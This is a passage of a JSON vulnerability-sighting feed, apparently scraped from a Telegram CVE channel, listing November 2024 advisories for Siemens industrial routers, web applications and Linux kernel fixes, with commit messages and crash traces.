"2024-11-12T14:41:30.000000Z"}, {"uuid": "af717450-1e6f-4ea4-af22-11c2c0bd1314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50557", "type": "seen", "source": "https://t.me/cvedetector/10598", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50557 - Siemens Industrial Ethernet Devices Ip Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50557 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly validate input in configuration fields of the iperf functionality. This could allow an unauthenticated  remote attacker to execute arbitrary code on the device. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:30.000000Z"}, {"uuid": "b65650fd-0179-497e-b62d-d7a04d94a563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50561", "type": "seen", "source": "https://t.me/cvedetector/10597", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50561 - Siemens Ruggedcom and Scalance Devices File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50561 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly sanitize the filenames before uploading. This could allow an authenticated remote attacker to compromise of integrity of the system. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:29.000000Z"}, {"uuid": "e2c8f07a-614d-4fe1-b76f-8d61fa215d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50572", "type": "seen", "source": "https://t.me/cvedetector/10596", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50572 - Siemens RUGGEDCOM and SCALANCE Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50572 \nPublished : Nov. 12, 2024, 1:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly sanitize an input field.  This could allow an authenticated remote attacker with administrative privileges to inject code or spawn a system root shell. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-12T14:41:28.000000Z"}, {"uuid": "20d91646-6ff6-40b5-82a8-6595c269664b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50667", "type": "seen", "source": "https://t.me/cvedetector/10519", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50667 - Trendnet Boa HTTPd IPv6 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50667 \nPublished : Nov. 11, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : The boa httpd of Trendnet TEW-820AP 1.01.B01 has a stack overflow vulnerability in /boafrm/formIPv6Addr, /boafrm/formIpv6Setup, /boafrm/formDnsv6. The reason is that the check of ipv6 address is not sufficient, which allows attackers to construct payloads for attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T21:07:24.000000Z"}, {"uuid": "95b9f3e1-34e2-40c6-8320-c9ce93d1548b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50991", "type": "seen", "source": "https://t.me/cvedetector/10509", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50991 - PHPGurukul User Management System Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-50991 \nPublished : Nov. 11, 2024, 3:15 p.m. | 35\u00a0minutes ago \nDescription : A Cross Site Scripting (XSS) vulnerability was found in /ums-sp/admin/registered-users.php in PHPGurukul User Management System v1.0, which allows remote attackers to execute arbitrary code via the \"fname\" POST request parameter \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:56:34.000000Z"}, {"uuid": "d75d14c4-8667-4b0d-801c-a609580f88dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50263", "type": "seen", "source": "https://t.me/cvedetector/10497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50263 - Linux Kernel fork: KSM and Khugepaged Hook Invalidation\", \n  \"Content\": \"CVE ID : CVE-2024-50263 \nPublished : Nov. 11, 2024, 2:15 p.m. | 35\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfork: only invoke khugepaged, ksm hooks if no error  \n  \nThere is no reason to invoke these hooks early against an mm that is in an  \nincomplete state.  \n  \nThe change in commit d24062914837 (\"fork: use __mt_dup() to duplicate  \nmaple tree in dup_mmap()\") makes this more pertinent as we may be in a  \nstate where entries in the maple tree are not yet consistent.  \n  \nTheir placement early in dup_mmap() only appears to have been meaningful  \nfor early error checking, and since functionally it'd require a very small  \nallocation to fail (in practice 'too small to fail') that'd only occur in  \nthe most dire circumstances, meaning the fork would fail or be OOM'd in  \nany case.  \n  \nSince both khugepaged and KSM tracking are there to provide optimisations  \nto memory performance rather than critical functionality, it doesn't  \nreally matter all that much if, under such dire memory pressure, we fail  \nto register an mm with these.  \n  \nAs a result, we follow the example of commit d2081b2bf819 (\"mm:  \nkhugepaged: make khugepaged_enter() void function\") and make ksm_fork() a  \nvoid function also.  \n  \nWe only expose the mm to these functions once we are done with them and  \nonly if no error occurred in the fork operation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:06:12.000000Z"}, {"uuid": "fcb85026-e35a-4ec1-a564-cf9e86f13edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50248", "type": "seen", "source": "https://t.me/cvedetector/10328", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50248 - \"Linux NTFS Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-50248 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nntfs3: Add bounds checking to mi_enum_attr()  \n  \nAdded bounds checking to make sure that every attr don't stray beyond  \nvalid memory region. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:54.000000Z"}, {"uuid": "e3e4a5c6-55a2-4b9e-bff2-2e955cf63744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50247", "type": "seen", "source": "https://t.me/cvedetector/10327", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50247 - \"Linux Kernel NTFS3 LZNT Chunk Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-50247 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs/ntfs3: Check if more than chunk-size bytes are written  \n  \nA incorrectly formatted chunk may decompress into  \nmore than LZNT_CHUNK_SIZE bytes and a index out of bounds  \nwill occur in s_max_off. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:50.000000Z"}, {"uuid": "6749baf6-270b-4ab8-8759-7b6d5a03f44a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50246", "type": "seen", "source": "https://t.me/cvedetector/10326", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50246 - \"NTFS Linux Kernel Attribute Allocation Size Validation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50246 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs/ntfs3: Add rough attr alloc_size check \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:49.000000Z"}, {"uuid": "d0d7c792-c15f-4d0a-bbab-299c036e8bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50245", "type": "seen", "source": "https://t.me/cvedetector/10325", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50245 - Linux kernel Deadlock in NTFS3Mutex Lock\", \n  \"Content\": \"CVE ID : CVE-2024-50245 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs/ntfs3: Fix possible deadlock in mi_read  \n  \nMutex lock with another subclass used in ni_lock_dir(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:48.000000Z"}, {"uuid": "6a04a362-7df6-4b40-ade4-4c188ec7dcc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50244", "type": "seen", "source": "https://t.me/cvedetector/10324", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50244 - NTFS Bug in Linux Kernel Memory Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-50244 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs/ntfs3: Additional check in ni_clear()  \n  \nChecking of NTFS_FLAGS_LOG_REPLAYING added to prevent access to  \nuninitialized bitmap during replay process. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-09T13:17:47.000000Z"}, {"uuid": "bfddf105-c374-4a2c-9a7d-33bc18f91522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50493", "type": "seen", "source": "https://t.me/cvedetector/9247", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50493 - Automatic Translation Unrestricted File Upload Web Shell Upload\", \n  \"Content\": \"CVE ID : CVE-2024-50493 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in masterhomepage Automatic Translation allows Upload a Web Shell to a Web Server.This issue affects Automatic Translation: from n/a through 1.0.4. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:48.000000Z"}, {"uuid": "a4d4f7ff-b158-4043-a52b-c514a325ed4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50482", "type": "seen", "source": "https://t.me/cvedetector/9246", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50482 - \"Chetan Khandla Woocommerce Product Design Unrestricted Upload of File with Dangerous Type Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50482 \nPublished : Oct. 29, 2024, 8:15 a.m. | 20\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Chetan Khandla Woocommerce Product Design allows Upload a Web Shell to a Web Server.This issue affects Woocommerce Product Design: from n/a through 1.0.0. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T09:44:47.000000Z"}, {"uuid": "4d571679-7dd5-43a6-82fc-fa83f4fc51c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50256", "type": "seen", "source": "https://t.me/cvedetector/10315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50256 - Google Compute Engine Zero-Copy Tunnelling Ethernet Header Pointer Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50256 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: nf_reject_ipv6: fix potential crash in nf_send_reset6()  \n  \nI got a syzbot report without a repro [1] crashing in nf_send_reset6()  \n  \nI think the issue is that dev->hard_header_len is zero, and we attempt  \nlater to push an Ethernet header.  \n  \nUse LL_MAX_HEADER, as other functions in net/ipv6/netfilter/nf_reject_ipv6.c.  \n  \n[1]  \n  \nskbuff: skb_under_panic: text:ffffffff89b1d008 len:74 put:14 head:ffff88803123aa00 data:ffff88803123a9f2 tail:0x3c end:0x140 dev:syz_tun  \n kernel BUG at net/core/skbuff.c:206 !  \nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI  \nCPU: 0 UID: 0 PID: 7373 Comm: syz.1.568 Not tainted 6.12.0-rc2-syzkaller-00631-g6d858708d465 #0  \nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024  \n RIP: 0010:skb_panic net/core/skbuff.c:206 [inline]  \n RIP: 0010:skb_under_panic+0x14b/0x150 net/core/skbuff.c:216  \nCode: 0d 8d 48 c7 c6 60 a6 29 8e 48 8b 54 24 08 8b 0c 24 44 8b 44 24 04 4d 89 e9 50 41 54 41 57 41 56 e8 ba 30 38 02 48 83 c4 20 90 <0f0b 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3  \nRSP: 0018:ffffc900045269b0 EFLAGS: 00010282  \nRAX: 0000000000000088 RBX: dffffc0000000000 RCX: cd66dacdc5d8e800  \nRDX: 0000000000000000 RSI: 0000000000000200 RDI: 0000000000000000  \nRBP: ffff88802d39a3d0 R08: ffffffff8174afec R09: 1ffff920008a4ccc  \nR10: dffffc0000000000 R11: fffff520008a4ccd R12: 0000000000000140  \nR13: ffff88803123aa00 R14: ffff88803123a9f2 R15: 000000000000003c  \nFS:  00007fdbee5ff6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000  \nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \nCR2: 0000000000000000 CR3: 000000005d322000 CR4: 00000000003526f0  \nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  \nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  \nCall Trace:  \n   \n  skb_push+0xe5/0x100 net/core/skbuff.c:2636  \n  eth_header+0x38/0x1f0 net/ethernet/eth.c:83  \n  dev_hard_header include/linux/netdevice.h:3208 [inline]  \n  nf_send_reset6+0xce6/0x1270 net/ipv6/netfilter/nf_reject_ipv6.c:358  \n  nft_reject_inet_eval+0x3b9/0x690 net/netfilter/nft_reject_inet.c:48  \n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]  \n  nft_do_chain+0x4ad/0x1da0 net/netfilter/nf_tables_core.c:288  \n  nft_do_chain_inet+0x418/0x6b0 net/netfilter/nft_chain_filter.c:161  \n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]  \n  nf_hook_slow+0xc3/0x220 net/netfilter/core.c:626  \n  nf_hook include/linux/netfilter.h:269 [inline]  \n  NF_HOOK include/linux/netfilter.h:312 [inline]  \n  br_nf_pre_routing_ipv6+0x63e/0x770 net/bridge/br_netfilter_ipv6.c:184  \n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]  \n  nf_hook_bridge_pre net/bridge/br_input.c:277 [inline]  \n  br_handle_frame+0x9fd/0x1530 net/bridge/br_input.c:424  \n  __netif_receive_skb_core+0x13e8/0x4570 net/core/dev.c:5562  \n  __netif_receive_skb_one_core net/core/dev.c:5666 [inline]  \n  __netif_receive_skb+0x12f/0x650 net/core/dev.c:5781  \n  netif_receive_skb_internal net/core/dev.c:5867 [inline]  \n  netif_receive_skb+0x1e8/0x890 net/core/dev.c:5926  \n  tun_rx_batched+0x1b7/0x8f0 drivers/net/tun.c:1550  \n  tun_get_user+0x3056/0x47e0 drivers/net/tun.c:2007  \n  tun_chr_write_iter+0x10d/0x1f0 drivers/net/tun.c:2053  \n  new_sync_write fs/read_write.c:590 [inline]  \n  vfs_write+0xa6d/0xc90 fs/read_write.c:683  \n  ksys_write+0x183/0x2b0 fs/read_write.c:736  \n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]  \n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83  \n entry_SYSCALL_64_after_hwframe+0x77/0x7f  \nRIP: 0033:0x7fdbeeb7d1ff  \nCode: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 c9 8d 02 00 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05[...]", "creation_timestamp": "2024-11-09T13:17:34.000000Z"}, {"uuid": "1d775e05-cff9-495a-befd-acb25a580e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50252", "type": "seen", "source": "https://t.me/cvedetector/10331", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50252 - Mellanox MLXSW IPv6 Address Leak Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50252 \nPublished : Nov. 9, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmlxsw: spectrum_ipip: Fix memory leak when changing remote IPv6 address  \n  \nThe device stores IPv6 addresses that are used for encapsulation in  \nlinear memory that is managed by the driver.  \n  \nChanging the remote address of an ip6gre net device never worked  \nproperly, but since cited commit the following reproducer [1] would  \nresult in a warning [2] and a memory leak [3]. The problem is that the  \nnew remote address is never added by the driver to its hash table (and  \ntherefore the device) and the old address is never removed from it.  \n  \nFix by programming the new address when the configuration of the ip6gre  \nnet device changes and removing the old one. If the address did not  \nchange, then the above would result in increasing the reference count of  \nthe address and then decreasing it.  \n  \n[1]  \n # ip link add name bla up type ip6gre local 2001:db8:1::1 remote 2001:db8:2::1 tos inherit ttl inherit  \n # ip link set dev bla type ip6gre remote 2001:db8:3::1  \n # ip link del dev bla  \n # devlink dev reload pci/0000:01:00.0  \n  \n[2]  \nWARNING: CPU: 0 PID: 1682 at drivers/net/ethernet/mellanox/mlxsw/spectrum.c:3002 mlxsw_sp_ipv6_addr_put+0x140/0x1d0  \nModules linked in:  \nCPU: 0 UID: 0 PID: 1682 Comm: ip Not tainted 6.12.0-rc3-custom-g86b5b55bc835 #151  \nHardware name: Nvidia SN5600/VMOD0013, BIOS 5.13 05/31/2023  \nRIP: 0010:mlxsw_sp_ipv6_addr_put+0x140/0x1d0  \n[...]  \nCall Trace:  \n   \n mlxsw_sp_router_netdevice_event+0x55f/0x1240  \n notifier_call_chain+0x5a/0xd0  \n call_netdevice_notifiers_info+0x39/0x90  \n unregister_netdevice_many_notify+0x63e/0x9d0  \n rtnl_dellink+0x16b/0x3a0  \n rtnetlink_rcv_msg+0x142/0x3f0  \n netlink_rcv_skb+0x50/0x100  \n netlink_unicast+0x242/0x390  \n netlink_sendmsg+0x1de/0x420  \n ____sys_sendmsg+0x2bd/0x320  \n ___sys_sendmsg+0x9a/0xe0  \n __sys_sendmsg+0x7a/0xd0  \n do_syscall_64+0x9e/0x1a0  \n entry_SYSCALL_64_after_hwframe+0x77/0x7f  \n  \n[3]  \nunreferenced object 0xffff898081f597a0 (size 32):  \n  comm \"ip\", pid 1626, jiffies 4294719324  \n  hex dump (first 32 bytes):  \n    20 01 0d b8 00 02 00 00 00 00 00 00 00 00 00 01   ...............  \n    21 49 61 83 80 89 ff ff 00 00 00 00 01 00 00 00  !Ia.............  \n  backtrace (crc fd9be911):  \n    [<00000000df89c55d] __kmalloc_cache_noprof+0x1da/0x260  \n    